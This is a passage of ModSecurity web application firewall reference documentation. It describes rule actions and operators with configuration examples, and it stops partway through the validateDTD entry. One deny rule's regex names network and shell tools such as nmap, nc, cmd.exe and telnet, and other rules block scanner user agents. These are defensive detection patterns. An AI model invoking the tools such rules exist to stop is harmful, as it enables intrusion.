<itemizedlist>
<listitem>
<para>1-99,999; reserved for local (internal) use. Use as you see
fit but do not use this range for rules that are distributed to
others.</para>
</listitem>
<listitem>
<para>100,000-199,999; reserved for internal use of the engine, to
assign to rules that do not have explicit IDs.</para>
</listitem>
<listitem>
<para>200,000-299,999; reserved for rules published at
modsecurity.org.</para>
</listitem>
<listitem>
<para>300,000-399,999; reserved for rules published at
gotroot.com.</para>
</listitem>
<listitem>
<para>400,000-419,999; unused (available for reservation).</para>
</listitem>
<listitem>
<para>420,000-429,999; reserved for <ulink type=""
url="http://projects.otaku42.de/wiki/ScallyWhack">ScallyWhack</ulink>.</para>
</listitem>
<listitem>
<para>430,000-899,999; unused (available for reservation).</para>
</listitem>
<listitem>
<para>900,000-999,999; reserved for the <ulink
url="http://www.modsecurity.org/projects/rules/">Core Rules</ulink>
project.</para>
</listitem>
<listitem>
<para>1,000,000 and above; unused (available for
reservation).</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>initcol</literal></title>
<para><emphasis>Description:</emphasis> Initialises a named persistent
collection, either by loading data from storage or by creating a new
collection in memory.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example: The following example initiates IP address
tracking.</para>
<programlisting format="linespecific">SecAction<emphasis> initcol:ip=%{REMOTE_ADDR}</emphasis>,nolog</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Every collection contains several built-in variables that are
read-only:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para><literal moreinfo="none">CREATE_TIME</literal> - date/time of
the creation of the collection.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">IS_NEW</literal> - set to 1 if the
collection is new (not yet persisted) otherwise set to 0.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">KEY</literal> - the value of the
initcol variable (the client's IP address in the example).</para>
</listitem>
<listitem>
<para><literal moreinfo="none">LAST_UPDATE_TIME</literal> -
date/time of the last update to the collection.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">TIMEOUT</literal> - date/time in
seconds when the collection will be updated on disk from memory (if
no other updates occur).</para>
</listitem>
<listitem>
<para><literal moreinfo="none">UPDATE_COUNTER</literal> - how many
times the collection has been updated since creation.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">UPDATE_RATE</literal> - is the
average rate updates per minute since creation.</para>
</listitem>
</orderedlist>
<para>Collections are loaded into memory when the initcol action is
encountered. The collection in storage will be updated (and the
appropriate counters increased) <emphasis>only</emphasis> if it was
changed during transaction processing.</para>
<note>
<para>To create a collection to hold session variables (<literal
moreinfo="none">SESSION</literal>) use action <literal
moreinfo="none">setsid</literal>. To create a collection to hold user
variables (<literal moreinfo="none">USER</literal>) use action
<literal moreinfo="none">setuid</literal>.</para>
</note>
<note>
<para>At this time it is only possible to have three
collections:<literal moreinfo="none"> IP</literal>,<literal
moreinfo="none"> SESSION</literal>, and <literal
moreinfo="none">USER</literal>.</para>
</note>
<note>
<para>Please note that ModSecurity does not implement atomic updates
of persistent variables at this time. Variables are read from storage
whenever <literal>initcol</literal> is encountered in the rules and
persisted at the end of request processing. On busy servers requests
often run in parallel, leading to situations where one request
overwrites the changes made by another request. We anticipate
implementing atomic updates of counter values in a future
version.</para>
</note>
</section>
<section>
<title><literal>log</literal></title>
<para><emphasis>Description:</emphasis> Indicates that a successful
match of the rule needs to be logged.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecAction initcol:ip=%{REMOTE_ADDR},<emphasis>log</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>This action will log matches to the Apache error log file and the
ModSecurity audit log.</para>
</section>
<section>
<title><literal>logdata</literal></title>
<para><emphasis>Description:</emphasis> Allows logging a data
fragment.</para>
<para><emphasis>Action Group:</emphasis> Metadata</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;ARGS:p "@eq 0" "log,<emphasis>logdata:'%{TX.0}'"</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>The logdata information appears in the error and/or audit log
files and is not sent back to the client in response headers. Macro
expansion is preformed so you may use variable names such as %{TX.0},
etc. The information is properly escaped for use with logging binary
data.</para>
</section>
<section>
<title><literal>msg</literal></title>
<para><emphasis>Description:</emphasis> Assigns a custom message to the
rule or chain.</para>
<para><emphasis>Action Group:</emphasis> Metadata</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS:Host "@eq 0" \
"log,id:60008<emphasis>,</emphasis>severity:2,<emphasis>msg:'Request Missing a Host Header'"</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>The msg information appears in the error and/or audit log files
and is not sent back to the client in response headers.</para>
</section>
<section>
<title><literal>multiMatch</literal></title>
<para><emphasis>Description:</emphasis> If enabled ModSecurity will
perform multiple operator invocations for every target, before and after
every anti-evasion transformation is performed.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase
SecRule ARGS "attack" <emphasis>multiMatch</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>Normally, variables are evaluated once, only after all
transformation functions have completed. With multiMatch, variables are
checked against the operator before and after every transformation
function that changes the input.</para>
</section>
<section>
<title><literal>noauditlog</literal></title>
<para><emphasis>Description:</emphasis> Indicates that a successful
match of the rule should not be used as criteria whether the transaction
should be logged to the audit log.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" allow,<emphasis>noauditlog</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>If the SecAuditEngine is set to On, all of the transactions will
be logged. If it is set to RelevantOnly, then you can control it with
the noauditlog action. Even if the noauditlog action is applied to a
specific rule and a rule either before or after triggered an audit
event, then the transaction will be logged to the audit log. The correct
way to disable audit logging for the entire transaction is to use
"<literal moreinfo="none">ctl:auditEngine=Off</literal>"</para>
</section>
<section>
<title><literal>nolog</literal></title>
<para><emphasis>Description:</emphasis> Prevents rule matches from
appearing in both the error and audit logs.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" allow,<emphasis>nolog</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>The nolog action also implies noauditlog.</para>
</section>
<section>
<title><literal>pass</literal></title>
<para><emphasis>Description:</emphasis> Continues processing with the
next rule in spite of a successful match.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" log,<emphasis>pass</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>Transaction will not be interrupted but it will be logged (unless
logging has been suppressed).</para>
</section>
<section>
<title><literal>pause</literal></title>
<para><emphasis>Description:</emphasis> Pauses transaction processing
for the specified number of milliseconds.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403,<emphasis>pause:5000</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>This feature can be of limited benefit for slowing down Brute
Force Scanners, however use with care. If you are under a Denial of
Service type of attack, the pause feature may make matters worse as this
feature will cause child processes to sit idle until the pause is
completed.</para>
</section>
<section>
<title><literal>phase</literal></title>
<para><emphasis>Description:</emphasis> Places the rule (or the rule
chain) into one of five available processing phases.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,<emphasis>phase:1</emphasis>,t:removeNulls,t:lowercase
SecRule REQUEST_HEADERS:User-Agent "Test" log,deny,status:403</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Keep in mind that is you specify the incorrect phase, the target
variable that you specify may be empty. This could lead to a false
negative situation where your variable and operator (RegEx) may be
correct, but it misses malicious data because you specified the wrong
phase.</para>
</section>
<section>
<title>prepend</title>
<para><emphasis>Description:</emphasis> Prepends text given as parameter
to the response body. For this action to work content injection must be
enabled by setting <literal>SecContentInjection</literal> to
<literal>On</literal>. Also make sure you check the content type of the
response before you make changes to it (e.g. you don't want to inject
stuff into images).</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para><emphasis>Processing Phases:</emphasis> 3 and 4.</para>
<para>Example:</para>
<programlisting>SecRule RESPONSE_CONTENT_TYPE ^text/html "phase:3,nolog,pass,<emphasis>prepend:'Header&lt;br&gt;'</emphasis>"</programlisting>
</section>
<section>
<title><literal>proxy</literal></title>
<para><emphasis>Description:</emphasis> Intercepts transaction by
forwarding request to another web server using the proxy backend.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" log,<emphasis>proxy:http://www.honeypothost.com/</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>For this action to work, mod_proxy must also be installed. This
action is useful if you would like to proxy matching requests onto a
honeypot webserver.</para>
</section>
<section>
<title><literal>redirect</literal></title>
<para><emphasis>Description:</emphasis> Intercepts transaction by
issuing a redirect to the given location.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "Test" \
log,<emphasis>redirect:http://www.hostname.com/failed.html</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>If the <literal moreinfo="none">status</literal> action is present
and its value is acceptable (301, 302, 303, or 307) it will be used for
the redirection. Otherwise status code 302 will be used.</para>
</section>
<section>
<title><literal>rev</literal></title>
<para><emphasis>Description:</emphasis> Specifies rule revision.</para>
<para><emphasis>Action Group:</emphasis> Metadata</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_METHOD "^PUT$" "id:340002,<emphasis>rev:1</emphasis>,severity:2,msg:'Restricted HTTP function'"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This action is used in combination with the <literal
moreinfo="none">id</literal> action to allow the same rule ID to be used
after changes take place but to still provide some indication the rule
changed.</para>
</section>
<section>
<title><literal>sanitiseArg</literal></title>
<para><emphasis>Description:</emphasis> Sanitises (replaces each byte
with an asterisk) a named request argument prior to audit
logging.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecAction nolog,phase:2,<emphasis>sanitiseArg:password</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>The sanitize actions do not sanitize any data within the actual
raw requests but only on the copy of data within memory that is set to
log to the audit log. It will not sanitize the data in the
modsec_debug.log file (if the log level is set high enough to capture
this data).</para>
</section>
<section>
<title><literal>sanitiseMatched</literal></title>
<para><emphasis>Description:</emphasis> Sanitises the variable (request
argument, request header, or response header) that caused a rule
match.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example: This action can be used to sanitise arbitrary transaction
elements when they match a condition. For example, the example below
will sanitise any argument that contains the word<emphasis>
password</emphasis> in the name.</para>
<programlisting format="linespecific">SecRule ARGS_NAMES password nolog,pass,<emphasis>sanitiseMatched</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>Same note as sanitiseArg.</para>
</section>
<section>
<title><literal>sanitiseRequestHeader</literal></title>
<para><emphasis>Description:</emphasis> Sanitises a named request
header.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example: This will sanitise the data in the Authorization
header.</para>
<programlisting format="linespecific">SecAction log,phase:1,<emphasis>sanitiseRequestHeader:Authorization</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>Same note as sanitiseArg.</para>
</section>
<section>
<title><literal>sanitiseResponseHeader</literal></title>
<para><emphasis>Description:</emphasis> Sanitises a named response
header.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example: This will sanitise the Set-Cookie data sent to the
client.</para>
<programlisting format="linespecific">SecAction log,phase:3,<emphasis>sanitiseResponseHeader:Set-Cookie</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>Same note as sanitiseArg.</para>
</section>
<section>
<title><literal>severity</literal></title>
<para><emphasis>Description:</emphasis> Assigns severity to the rule it
is placed with.</para>
<para><emphasis>Action Group:</emphasis> Metadata</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_METHOD "^PUT$" "id:340002,rev:1,<emphasis>severity:CRITICAL</emphasis>,msg:'Restricted HTTP function'"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Severity values in ModSecurity follow those of syslog, as
below:</para>
<itemizedlist>
<listitem>
<para>0 - EMERGENCY</para>
</listitem>
<listitem>
<para>1 - ALERT</para>
</listitem>
<listitem>
<para>2 - CRITICAL</para>
</listitem>
<listitem>
<para>3 - ERROR</para>
</listitem>
<listitem>
<para>4 - WARNING</para>
</listitem>
<listitem>
<para>5 - NOTICE</para>
</listitem>
<listitem>
<para>6 - INFO</para>
</listitem>
<listitem>
<para>7 - DEBUG</para>
</listitem>
</itemizedlist>
<para>It is possible to specify severity levels using either the
numerical values or the text values. You should always specify severity
levels using the text values. The use of the numerical values is
deprecated (as of v2.5) and may be removed in one of the susequent major
updates.</para>
</section>
<section>
<title><literal>setuid</literal></title>
<para><emphasis>Description:</emphasis> Special-purpose action that
initialises the <literal moreinfo="none">USER</literal>
collection.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecAction <emphasis>setuid:%{REMOTE_USER}</emphasis>,nolog</programlisting>
<para><emphasis>Note</emphasis></para>
<para>After initialisation takes place the variable <literal
moreinfo="none">USERID</literal> will be available for use in the
subsequent rules.</para>
</section>
<section>
<title><literal>setsid</literal></title>
<para><emphasis>Description:</emphasis> Special-purpose action that
initialises the <literal moreinfo="none">SESSION</literal>
collection.</para>
<para><emphasis>Action Group: </emphasis>Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific"># Initialise session variables using the session cookie value
SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass
SecAction <emphasis>setsid:%{REQUEST_COOKIES.PHPSESSID}</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>On first invocation of this action the collection will be empty
(not taking the predefined variables into account - see <literal
moreinfo="none">initcol</literal> for more information). On subsequent
invocations the contents of the collection (session, in this case) will
be retrieved from storage. After initialisation takes place the
variable<literal moreinfo="none"> SESSIONID</literal> will be available
for use in the subsequent rules.This action understands each application
maintains its own set of sessions. It will utilise the current web
application ID to create a session namespace.</para>
</section>
<section>
<title><literal>setenv</literal></title>
<para><emphasis>Description:</emphasis> Creates, removes, or updates an
environment variable.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Examples:</para>
<para>To create a new variable (if you omit the value <literal
moreinfo="none">1</literal> will be used):</para>
<programlisting format="linespecific">setenv:name=value</programlisting>
<para>To remove a variable:</para>
<programlisting format="linespecific">setenv:!name</programlisting>
<para><emphasis>Note</emphasis></para>
<para>This action can be used to establish communication with other
Apache modules.</para>
</section>
<section>
<title><literal>setvar</literal></title>
<para><emphasis>Description:</emphasis> Creates, removes, or updates a
variable in the specified collection.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Examples:</para>
<para>To create a new variable:</para>
<programlisting format="linespecific">setvar:tx.score=10</programlisting>
<para>To remove a variable prefix the name with exclamation mark:</para>
<programlisting format="linespecific">setvar:!tx.score</programlisting>
<para>To increase or decrease variable value use <literal
moreinfo="none">+</literal> and <literal moreinfo="none">-</literal>
characters in front of a numerical value:</para>
<programlisting format="linespecific">setvar:tx.score=+5</programlisting>
</section>
<section>
<title><literal>skip</literal></title>
<para><emphasis>Description:</emphasis> Skips one or more rules (or
chains) on successful match.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<para><programlisting format="linespecific">SecRule REQUEST_URI "^/$" "chain,<emphasis>skip:2</emphasis>"
SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain"
SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none"
SecRule &amp;REQUEST_HEADERS:Host "@eq 0" \
"deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'"
SecRule &amp;REQUEST_HEADERS:Accept "@eq 0" \
"log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'"</programlisting></para>
<para><emphasis>Note</emphasis></para>
<para>Skip only applies to the current processing phase and not
necessarily the order in which the rules appear in the configuration
file. If you group rules by processing phases, then skip should work as
expected. This action can not be used to skip rules within one chain.
Accepts a single parameter denoting the number of rules (or chains) to
skip.</para>
</section>
<section>
<title><literal>skipAfter</literal></title>
<para><emphasis>Description:</emphasis> Skips rules (or chains) on
successful match resuming rule execution after the specified rule id or
marker (see SecMarker) is found.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<para><programlisting format="linespecific">SecRule REQUEST_URI "^/$" "chain,<emphasis>skipAfter:960015</emphasis>"
SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain"
SecRule REQUEST_HEADERS:User-Agent "^Apache \(internal dummy connection\)$" "t:none"
SecRule &amp;REQUEST_HEADERS:Host "@eq 0" \
"deny,log,status:400,id:960008,severity:4,msg:'Request Missing a Host Header'"
SecRule &amp;REQUEST_HEADERS:Accept "@eq 0" \
"log,deny,log,status:400,id:960015,msg:'Request Missing an Accept Header'"</programlisting></para>
<para><emphasis>Note</emphasis></para>
<para>SkipAfter only applies to the current processing phase and not
necessarily the order in which the rules appear in the configuration
file. If you group rules by processing phases, then skip should work as
expected. This action can not be used to skip rules within one chain.
Accepts a single parameter denoting the last rule ID to skip.</para>
</section>
<section>
<title><literal>status</literal></title>
<para><emphasis>Description:</emphasis> Specifies the response status
code to use with actions<literal moreinfo="none"> deny</literal>
and<literal moreinfo="none"> redirect</literal>.</para>
<para><emphasis>Action Group:</emphasis> Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,<emphasis>status:403</emphasis>,phase:1</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Status actions defined in Apache scope locations (such as
Directory, Location, etc...) may be superseded by phase:1 action
settings. The Apache ErrorDocument directive will be triggered if
present in the configuration. Therefore if you have previously defined a
custom error page for a given status then it will be executed and its
output presented to the user.</para>
</section>
<section>
<title><literal>t</literal></title>
<para><emphasis>Description:</emphasis> This action can be used which
transformation function should be used against the specified variables
before they (or the results, rather) are run against the operator
specified in the rule.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,phase:1,t:removeNulls,t:lowercase
SecRule REQUEST_COOKIES:SESSIONID "47414e81cbbef3cf8366e84eeacba091" \
log,deny,status:403,<emphasis>t:md5,t:hexEncode</emphasis></programlisting>
<para><emphasis>Note</emphasis></para>
<para>Any transformation functions that you specify in a SecRule will be
in addition to previous ones specified in SecDefaultAction. Use of
"t:none" will remove all transformation functions for the specified
rule.</para>
</section>
<section>
<title><literal>tag</literal></title>
<para><emphasis>Description:</emphasis> Assigns custom text to a rule or
chain.</para>
<para><emphasis>Action Group:</emphasis> Metadata</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_FILENAME "\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b" \
"deny,msg:'System Command Access',id:'950002',<emphasis>tag:'WEB_ATTACK/FILE_INJECTION',tag:'OWASP/A2'</emphasis>,severity:'2'"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>The tag information appears in the error and/or audit log files.
Its intent is to be used to automate classification of rules and the
alerts generated by rules. Multiple tags can be used per
rule/chain.</para>
</section>
<section>
<title><literal>xmlns</literal></title>
<para><emphasis>Description:</emphasis> This action should be used
together with an XPath expression to register a namespace.</para>
<para><emphasis>Action Group:</emphasis> Non-Disruptive</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:Content-Type "text/xml" \
phase:1,pass,ctl:requestBodyProcessor=XML,ctl:requestBodyAccess=On,<emphasis>xmlns:xsd="http://www.w3.org/2001/XMLSchema"</emphasis>
SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id() "123" phase:2,deny</programlisting>
</section>
</section>
<section id="08-operators">
<title>Operators</title>
<para>A number of operators can be used in rules, as documented below. The
operator syntax used the "@" symbol followed by the specific operator
name.</para>
<section>
<title><literal>beginsWith</literal></title>
<para><emphasis>Description:</emphasis> This operator is a string
comparison and returns true if the parameter value is found at the
beginning of the input. Macro expansion is performed so you may use
variable names such as %{TX.1}, etc.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_LINE "!<emphasis>@beginsWith GET</emphasis>" t:none,deny,status:403
SecRule REQUEST_ADDR "^(.*)\.\d+$" deny,status:403,capture,chain
SecRule ARGS:gw "!<emphasis>@beginsWith %{TX.1}</emphasis>"</programlisting>
</section>
<section>
<title><literal>contains</literal></title>
<para><emphasis>Description:</emphasis> This operator is a string
comparison and returns true if the parameter value is found anywhere in
the input. Macro expansion is performed so you may use variable names
such as %{TX.1}, etc.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_LINE "!<emphasis>@contains .php</emphasis>" t:none,deny,status:403
SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain
SecRule ARGS:ip "!<emphasis>@contains %{TX.1}</emphasis>"</programlisting>
</section>
<section>
<title><literal>endsWith</literal></title>
<para><emphasis>Description:</emphasis> This operator is a string
comparison and returns true if the parameter value is found at the end
of the input. Macro expansion is performed so you may use variable names
such as %{TX.1}, etc.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_LINE "!<emphasis>@endsWith HTTP/1.1</emphasis>" t:none,deny,status:403
SecRule ARGS:route "!<emphasis>@endsWith %{REQUEST_ADDR}</emphasis>" t:none,deny,status:403</programlisting>
</section>
<section>
<title><literal>eq</literal></title>
<para><emphasis>Description:</emphasis> This operator is a numerical
comparison and stands for "equal to."</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS_NAMES "<emphasis>@eq</emphasis> 15"</programlisting>
</section>
<section>
<title><literal>ge</literal></title>
<para><emphasis>Description:</emphasis> This operator is a numerical
comparison and stands for "greater than or equal to."</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS_NAMES "<emphasis>@ge</emphasis> 15"</programlisting>
</section>
<section>
<title><literal>geoLookup</literal></title>
<para><emphasis>Description:</emphasis> This operator looks up various
data fields from an IP address or hostname. The results will be captured
in the <literal moreinfo="none">GEO</literal> collection.</para>
<para>You must provide a database via <literal
moreinfo="none">SecGeoLookupDb</literal> before this operator can be
used.</para>
<para>See the <literal moreinfo="none">GEO</literal> variable for an
example and more information on various fields available.</para>
</section>
<section>
<title><literal>gt</literal></title>
<para><emphasis>Description:</emphasis> This operator is a numerical
comparison and stands for "greater than."</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS_NAMES "<emphasis>@gt</emphasis> 15"</programlisting>
</section>
<section>
<title><literal>inspectFile</literal></title>
<para><emphasis>Description:</emphasis> Executes the external
script/binary given as parameter to the operator against every file
extracted from the request. As of v2.5, if the supplied filename is not
absolute it is treated as relative to the directory in which the
configuration file resides. Also as of v2.5 if the filename is
determined to be a Lua script (based on its extension) the script will
be processed by the internal engine. As such it will have full access to
the ModSecurity context.</para>
<para>Example of using an external binary/script:</para>
<programlisting format="linespecific"># Execute external script to validate uploaded files.
SecRule FILES_TMPNAMES "<emphasis>@inspectFile</emphasis> /opt/apache/bin/inspect_script.pl"</programlisting>
<para>Example of using Lua script:</para>
<programlisting>SecRule FILES_TMPNANMES "@inspectFile <emphasis>inspect.lua</emphasis>"</programlisting>
<para>Script <filename>inspect.lua</filename>:</para>
<programlisting>function main(filename)
-- Do something to the file to verify it. In this example, we
-- read up to 10 characters from the beginning of the file.
local f = io.open(filename, "rb");
local d = f:read(10);
f:close();
-- Return null if there is no reason to believe there is ansything
-- wrong with the file (no match). Returning any text will be taken
-- to mean a match should be trigerred.
return null;
end</programlisting>
</section>
<section>
<title><literal>le</literal></title>
<para><emphasis>Description:</emphasis> This operator is a numerical
comparison and stands for "less than or equal to."</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS_NAMES "<emphasis>@le</emphasis> 15"</programlisting>
</section>
<section>
<title><literal>lt</literal></title>
<para><emphasis>Description:</emphasis> This operator is a numerical
comparison and stands for "less than."</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule &amp;REQUEST_HEADERS_NAMES "<emphasis>@lt</emphasis> 15"</programlisting>
</section>
<section>
<title><literal>pm</literal></title>
<para><emphasis>Description:</emphasis> Phrase Match operator. This
operator uses a set based matching engine (Aho-Corasick) for faster
matches of keyword lists. It will match any one of its arguments
anywhere in the target value.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "<emphasis>@pm</emphasis> WebZIP WebCopier Webster WebStripper SiteSnagger ProWebWalker CheeseBot" "deny,status:403</programlisting>
<para>The above would deny access with 403 if any of the words matched
within the User-Agent HTTP header value.</para>
</section>
<section>
<title><literal>pmFromFile</literal></title>
<para><emphasis>Description:</emphasis> Phrase Match operator. This
operator uses a set based matching engine (Aho-Corasick) for faster
matches of keyword lists. This operator is the same as
<literal>@pm</literal> except that it takes a list of files as
arguments. It will match any one of the phrases listed in the file(s)
anywhere in the target value.</para>
<para>Notes:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>The contents of the files should be one phrase per line. End
of line markers will be stripped from the phrases, however,
whitespace will not be trimmed from phrases in the file. Empty lines
and comment lines (beginning with a '#') are ignored.</para>
</listitem>
<listitem>
<para>To allow easier inclusion of phrase files with rulesets,
relative paths may be used to the phrase files. In this case, the
path of the file containing the rule is prepended to the phrase file
path.</para>
</listitem>
</orderedlist>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "<emphasis>@pm</emphasis> /path/to/blacklist1 blacklist2" "deny,status:403</programlisting>
<para>The above would deny access with 403 if any of the patterns in the
two files matched within the User-Agent HTTP header value. The
<literal>blacklist2</literal> file would need to be placed in the same
path as the file containing the rule.</para>
</section>
<section>
<title><literal>rbl</literal></title>
<para><emphasis>Description:</emphasis> Look up the parameter in the RBL
given as parameter. Parameter can be an IPv4 address, or a
hostname.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REMOTE_ADDR "<emphasis>@rbl</emphasis> sc.surbl.org"</programlisting>
</section>
<section>
<title><literal>rx</literal></title>
<para><emphasis>Description:</emphasis> Regular expression operator.
This is the default operator, so if the "@" operator is not defined, it
is assumed to be rx.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule REQUEST_HEADERS:User-Agent "<emphasis>@rx</emphasis> nikto"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>Regular expressions are handled by the PCRE library (<ulink
url="http://www.pcre.org">http://www.pcre.org</ulink>). ModSecurity
compiles its regular expressions with the following settings:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>The entire input is treated as a single line, even when there
are newline characters present.</para>
</listitem>
<listitem>
<para>All matches are case-sensitive. If you do not care about case
sensitivity you either need to implement the <literal
moreinfo="none">lowercase</literal> transformation function, or use
the per-pattern<literal moreinfo="none">(?i)</literal>modifier, as
allowed by PCRE.</para>
</listitem>
<listitem>
<para>The <literal moreinfo="none">PCRE_DOTALL</literal> and
<literal moreinfo="none">PCRE_DOLLAR_ENDONLY</literal> flags are set
during compilation, meaning a single dot will match any character,
including the newlines and a <literal moreinfo="none">$</literal>
end anchor will not match a trailing newline character.</para>
</listitem>
</orderedlist>
</section>
<section>
<title><literal>streq</literal></title>
<para><emphasis>Description:</emphasis> This operator is a string
comparison and returns true if the parameter value matches the input
exactly. Macro expansion is performed so you may use variable names such
as %{TX.1}, etc.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule ARGS:foo "!<emphasis>@streq bar</emphasis>" t:none,deny,status:403
SecRule REQUEST_ADDR "^(.*)$" deny,status:403,capture,chain
SecRule REQUEST_HEADERS:Ip-Address "!<emphasis>@streq %{TX.1}</emphasis>"</programlisting>
</section>
<section>
<title><literal>validateByteRange</literal></title>
<para><emphasis>Description:</emphasis> Validates the byte range used in
the variable falls into the specified range.</para>
<para>Example:</para>
<programlisting format="linespecific">SecRule ARG:text "<emphasis>@validateByteRange</emphasis> 10, 13, 32-126"</programlisting>
<para><emphasis>Note</emphasis></para>
<para>You can force requests to consist only of bytes from a certain
byte range. This can be useful to avoid stack overflow attacks (since
they usually contain "random" binary content). Default range values are
0 and 255, i.e. all byte values are allowed. This directive does not
check byte range in a POST payload when
<literal>multipart/form-data</literal> encoding (file upload) is used.
Doing so would prevent binary files from being uploaded. However, after
the parameters are extracted from such request they are checked for a
valid range.</para>
<para>validateByteRange is similar to the ModSecurity 1.X
SecFilterForceByteRange Directive however since it works in a rule
context, it has the following differences:</para>
<itemizedlist>
<listitem>
<para>You can specify a different range for different
variables.</para>
</listitem>
<listitem>
<para>It has an "event" context (id, msg....)</para>
</listitem>
<listitem>
<para>It is executed in the flow of rules rather than being a built
in pre-check.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>validateDTD</literal></title>
<para><emphasis>Description:</emphasis> This operator requires the
request body to be processed as XML.</para>
<para>Example:</para>
<programlisting format="linespecific">SecDefaultAction log,deny,status:403,phase:2
SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \
